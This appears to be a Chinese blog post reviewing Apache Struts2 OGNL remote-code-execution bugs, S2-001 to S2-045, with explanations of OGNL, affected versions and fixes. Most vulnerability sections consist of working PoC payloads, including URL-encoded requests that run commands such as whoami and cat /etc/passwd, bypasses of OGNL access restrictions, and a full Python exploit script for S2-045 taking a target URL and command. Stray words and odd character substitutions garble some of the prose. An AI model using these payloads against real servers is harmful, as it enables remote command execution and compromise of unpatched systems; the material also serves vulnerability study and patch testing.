一直都想分析下 Struts2 命令执行系列的的漏洞,可是能力有限,对 java、Struts2 都不熟悉。后来偶然看到 rickgray 的分析文章,尝试简单分析,作个记录 o(╯□╰)o
这是 Struts2 官方的各个版本历史记录 Security Bulletins
Struts2 命令执行的缘由都是是经过 Ognl 表达式执行 java 代码,最终实现命令执行。因此应该须要先了解 ognl 表达式。java

ongl 表达式

下面引用来自 OGNL 设计及使用不当形成的远程代码执行漏洞python

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression
Language,简称为 EL),经过它简单一致的表达式语法,能够存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 三要素:(如下部分摘抄互联网某处, 我以为说得好)git

  1. 表达式(Expression)

表达式是整个 OGNL 的核心,全部的 OGNL 操做都是针对表达式的解析后进行的。表达式会规定这次 OGNL 操做到底要干什么。咱们能够看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持不少类型的表达式,以后咱们会看到更多。github

  1. 根对象(Root Object)

根对象能够理解为 OGNL 的操做对象。在表达式规定了 “干什么” 之后,你还须要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,咱们须要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。web

  1. 上下文环境(Context)

有了表达式和根对象,咱们实际上已经可使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工做。不过实际上,在 OGNL 的内部,全部的操做都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操做 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面咱们提到的根对象(Root
Object),事实上也会被加入到上下文环境中去,而且这将做为一个特殊的变量进行处理,具体就表现为针对根对象(Root
Object)的存取操做的表达式是不须要增长 #符号进行区分的。数据库

表达式功能操做清单:express

  1. 1. 基本对象树的访问
  2. 对象树的访问就是经过使用点号将对象的引用串联起来进行。
  3. 例如:xxxxxxxx.xxxxxxxx. xxxx. xxxx. xxxx. xxxx
  4. 2. 对容器变量的访问
  5. 对容器变量的访问,经过#符号加上表达式进行。
  6. 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  7. 3. 使用操做符号
  8. OGNL表达式中能使用的操做符基本跟Java里的操做符同样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操做符以外,还能使用 mod, in, not in等。
  9. 4. 容器、数组、对象
  10. OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
  11. 同时,OGNL支持对Map的按键值查找:
  12. 例如:#session['mySessionPropKey']
  13. 不只如此,OGNL还支持容器的构造的表达式:
  14. 例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
  15. 你也能够经过任意类对象的构造函数进行对象新建:
  16. 例如:new Java.net.URL("xxxxxx/")
  17. 5. 对静态方法或变量的访问
  18. 要引用类的静态方法和字段,他们的表达方式是同样的@class@member或者@class@method(args):
  19. 例如:@com.javaeye.core.Resource@ENABLE@com.javaeye.core.Resource@getAllResources
  20. 6. 方法调用
  21. 直接经过相似Java的方法调用方式进行,你甚至能够传递参数:
  22. 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  23. 7. 投影和选择
  24. OGNL支持相似数据库中的投影(projection 和选择(selection)。
  25. 投影就是选出集合中每一个元素的相同属性组成新的集合,相似于关系数据库的字段操做。投影操做语法为 collection.{XXX},其中XXX 是这个集合中每一个元素的公共属性。
  26. 例如:group.userList.{username}将得到某个group中的全部username的列表。
  27. 选择就是过滤知足selection 条件的集合元素,相似于关系数据库的纪录操做。选择操做的语法为:collection.{X YYY},其中X 是一个选择操做符,后面则是选择用的逻辑表达式。而选择操做符有三种:
  28. ? 选择知足条件的全部元素
  29. ^ 选择知足条件的第一个元素
  30. $ 选择知足条件的最后一个元素
  31. 例如:group.userList.{? #txxx.xxx != null}将得到某个group中user的name不为空的user的列表。

因此理论上外部某些参数可以进入 OGNL 流程,那么能够执行恶意代码,并且 Struts2 大量地使用了 OGNL,致使漏洞触发率大大增长。apache

触发途径

经过对一系列的 struts2 的 poc 观察,通常是经过修改 StaticMethodAccess 或是建立 ProcessBuilder 对象。json

  1. #_memberAccess["allowStaticMethodAccess"]=true // 用来受权容许调用静态方法
  2. new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

但 struts2 增强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,可是任然有方法能够绕过。

s2-001

官方连接:https://struts.apache.org/docs/s2-001.html

影响版本:Struts 2.0.0 -Struts 2.0.8

修复摘要:数据 re-display 时禁止执行 OGNL 表达式

该漏洞实际上是由于用户提交表单数据而且验证失败时,后端会将用户以前提交的参数值使用 OGNL 表达式 %{value}
进行解析,而后从新填充到对应的表单数据中。例如注册或登陆页面,提交失败后端通常会默认返回以前提交的数据,因为后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析。

Poc:
获取 tomcat 执行路径:

  1. %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取 Web 路径:

  1. %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-007

官方连接:https://struts.apache.org/docs/s2-007.html

影响版本:Struts 2.0.0 - Struts 2.2.3

修复摘要:在转换的过程当中进行字符过滤

修复补丁:https://fisheye6.atlassian.com/changelog/struts?cs=b4265d369dc29d57a9f2846a85b26598e83f3892

当配置了验证规则 -validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值经过字符串拼接,而后执行一次 OGNL 表达式解析并返回。例如这里有一个
UserAction:

  1. (...)
  2. public class UserAction extends ActionSupport {
  3. private Integer age;
  4. private String name;
  5. private String email;
  6. (...)

而后配置有 UserAction-validation.xml:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE validators PUBLIC
  3. "-//OpenSymphony Group//XWork Validator 1.0//EN"
  4. "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
  5. <validators>
  6. <field name="age">
  7. <field-validator type="int">
  8. <param name="min">1</param>
  9. <param name="max">150</param>
  10. </field-validator>
  11. </field>
  12. </validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'"+ value +"'" 而后对其进行 OGNL
表达式解析。要成功利用,只须要找到一个配置了相似验证规则的表单字段使之转换出错,借助相似 SQLi 注入单引号拼接的方式便可注入任意
OGNL 表达式。

Poc:

  1. ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

s2-008

官方连接:https://struts.apache.org/docs/s2-008.html

影响版本:Struts 2.1.0 - Struts 2.3.1

修复摘要:添加参数名和 Cookie 名白名单 acceptedParamNames = “[a-zA-Z0-9.][()_’]+”;

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可形成 OGNL 表达式执行,可是因为大多 Web 容器(如 Tomcat)对
Cookie 名称都有字符限制,一些关键字符没法使用使得这个点显得比较鸡肋。另外一个比较鸡肋的点就是在 struts2 应用开启
devMode 模式后会有多个调试接口可以直接查看对象信息或直接执行命令,正如 kxlzx
所提这种状况在生产环境中几乎不可能存在,所以就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug
模式的应用到服务器上做为后门也是有可能的。

例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的
OGNL 表达式,所以能够直接执行命令(注意转义):

Poc:

  1. http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29)

s2-012

官方连接:https://struts.apache.org/docs/s2-012.html

影响版本:Struts 2.0.0 - Struts 2。3.13

修复摘要:默认禁用 OGNLUtil 类的 OGNL 表达式执行

若是在配置 Action 中 Result 时使用了重定向类型,而且还使用 ${param_name} 做为重定向变量,例如:

/index.jsp?name=${name}
/index.jsp /index.jsp 这里
UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name}
获取其值,在这个过程当中会对 name 参数的值执行 OGNL 表达式解析,从而能够插入任意 OGNL 表达式致使命令执行

Poc:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-013/s2-014

官方连接:https://struts.apache.org/docs/s2-013.html,
https://struts.apache.org/docs/s2-014.html

影响版本:Struts 2.0.0 - Struts 2.3.14 (Struts 2.3.14.1)

修复摘要:在对标签进行请求参数操做时禁用 OGNL 表达式解析 Struts2 标签中 <s:a> 和 <s:url> 都包含一个
includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义以下:

none - 连接不包含请求的任意参数值(默认) get - 连接只包含 GET 请求中的参数和其值 all - 连接包含 GET 和
POST 全部参数和其值 若设置了 includeParams="get" 或者
includeParams="all",在获取对应类型参数时后端会对参数值进行 OGNL 表达式解析,所以能够插入任意 OGNL
表达式致使命令执行

Poc:

  1. ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new
  2. java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new
  3. char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
  4. // 或
  5. ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}

如:

  1. http://localhost:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是对 S2-013 修复的增强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,所以
S2-014 是对其的补丁增强。

  1. http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

s2-015

官方连接:https://struts.apache.org/docs/s2-015.html

影响版本:Struts 2.0.0 - Struts 2.3.14.2

修复摘要:针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符
*,并将其做为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

/{1}.jsp
上述配置能让咱们访问 name.action 时使用 name.jsp
来渲染页面,可是在提取 name 并解析时,对其执行了 OGNL 表达式解析,因此致使命令执行。在实践复现的时候发现,因为 name
值的位置比较特殊,一些特殊的字符如 / " 
都没法使用(转义也不行),因此在利用该点进行远程命令执行时一些带有路径的命令可能没法执行成功。

还有须要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了
SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,所以在 2.3.14.2
版本之后都不能直接经过 #_memberAccess['allowStaticMethodAccess']=true
来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的能够用 kxlzx 提到的调用动态方法 (new
java.lang.ProcessBuilder('calc')).start() 来解决,另外还能够借助 Java 反射机制去间> 接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

Poc:

  1. http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

s2-16

官方连接:https://struts.apache.org/docs/s2-016.html

影响版本:Struts 2.0.0 - Struts 2.3.15

修复摘要:删除 “action:”,”redirect:”,”redirectAction:” 这些前置前缀调用
DefaultActionMapper 类支持以 action:,redirect: 和 redirectAction:
做为访问前缀,前缀后面能够跟 OGNL 表达式,因为 Struts2 未对其进行过滤,致使任意 Action 可使用这些前缀执行任意
OGNL 表达式,从而致使任意命令执行,经测试发现 redirect: 和 redirectAction:
这两个前缀比较好容易构造出命令执行的 Payload(转义后)

Poc:

  1. http://localhost:8080/S2-016/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%7D

s2-019

官方连接:http://struts.apache.org/docs/s2-019.html

影响版本: Struts 2.0.0 - Struts 2.3.15.1

由于开启了开发者模式,传入 debug=command&expression = 致使执行 OGNL 表达式,从而形成命令执行漏洞。

Poc:
获取 web 目录:

  1. http://localhost:8080/S2-019/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

s2-029

官方连接:https://struts.apache.org/docs/s2-029.html

影响版本:Struts 2.0.0 - Struts 2.3.16

修复摘要:限制传入标签属性的值,对其进行合规的正则验证 简单的说就是当开发者在模版中使用了相似以下的标签写法时,后端 Struts2
处理时会致使二次 OGNL 表达式执行的状况:

<s:textfield name="%{message}"></s:textfield> 这里须要注意的是,仅当只有 name
属性这样写的状况下才能触发 OGNL 表达式执行,而且该标签中不能显示写有 value
属性。详细分析可参考天融信阿尔法实验室的张萌所写的《struts2 漏洞 s2-029 分析》

到 S2-029 这里是,Struts2 已经增长了至关多的安全检测了,因此想要直接执行命令还须要通
过修改这些安全参数来绕过最后的执行检测,具体的安全参数版本差别一样可参考上面的详细分析文章。

Poc:

  1. http://localhost:8080/S2-029/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

s2-032

官方连接:https://struts.apache.org/docs/s2-032.html

影响版本:Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

修复摘要:过滤经过 method: 传入的 action 名称,限制其字符范围 protected Pattern
allowedActionNames = Pattern.compile(“[a-zA-Z0-9._!/-]*”); 在配置了
Struts2 DMI 为 True 的状况下,可使用 method: Action 前缀去调用声明为 public
的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI
的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值作 OGNL
计算,而在高版本中会,代码详情可参考阿尔法实验室的报告 - 《Apache Struts2 s2-032 技术分析及漏洞检测脚本》

要成功利用必需要开 DMI 才能够:


找到目标应用有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上须要执行 OGNL 表达式便可(注意转义)

Poc:
获取 web 目录:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a

命令执行:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

s2-devMode

影响:Struts 2.1.0--2.5.1

当 Struts2 开启 devMode 模式时,将致使严重远程代码执行漏洞。若是 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、创建新用户、以及删除服务器上全部文件等等。

Poc:

  1. http://localhost:8080/S2-devMode/orders/3/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -ano

S2-045

官方连接:http://struts.apache.org/docs/s2-045.html

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

经过 Content-Type 这个 header 头,注入 OGNL 语言,进而执行命令。

Poc:

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import urllib2
  4. import httplib
  5. def exploit(url, cmd):
  6. payload = "%{(#_='multipart/form-data')."
  7. payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
  8. payload += "(#_memberAccess?"
  9. payload += "(#_memberAccess=#dm):"
  10. payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
  11. payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
  12. payload += "(#ognlUtil.getExcludedPackageNames().clear())."
  13. payload += "(#ognlUtil.getExcludedClasses().clear())."
  14. payload += "(#context.setMemberAccess(#dm))))."
  15. payload += "(#cmd='%s')." % cmd
  16. payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
  17. payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
  18. payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
  19. payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
  20. payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
  21. payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
  22. payload += "(#ros.flush())}"
  23. try:
  24. headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
  25. request = urllib2.Request(url, headers=headers)
  26. page = urllib2.urlopen(request).read()
  27. except httplib.IncompleteRead, e:
  28. page = e.partial
  29. print(page)
  30. return page
  31. if __name__ == '__main__':
  32. import sys
  33. if len(sys.argv) != 3:
  34. print("[*] struts2_S2-045.py <url> <cmd>")
  35. else:
  36. print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
  37. url = sys.argv[1]
  38. cmd = sys.argv[2]
  39. print("[*] cmd: %s\n" % cmd)
  40. exploit(url, cmd)

参考

  1. Struts2 历史 RCE 漏洞回顾不彻底系列
  2. Struts2 命令执行集合
  3. vulhub
  4. VulApps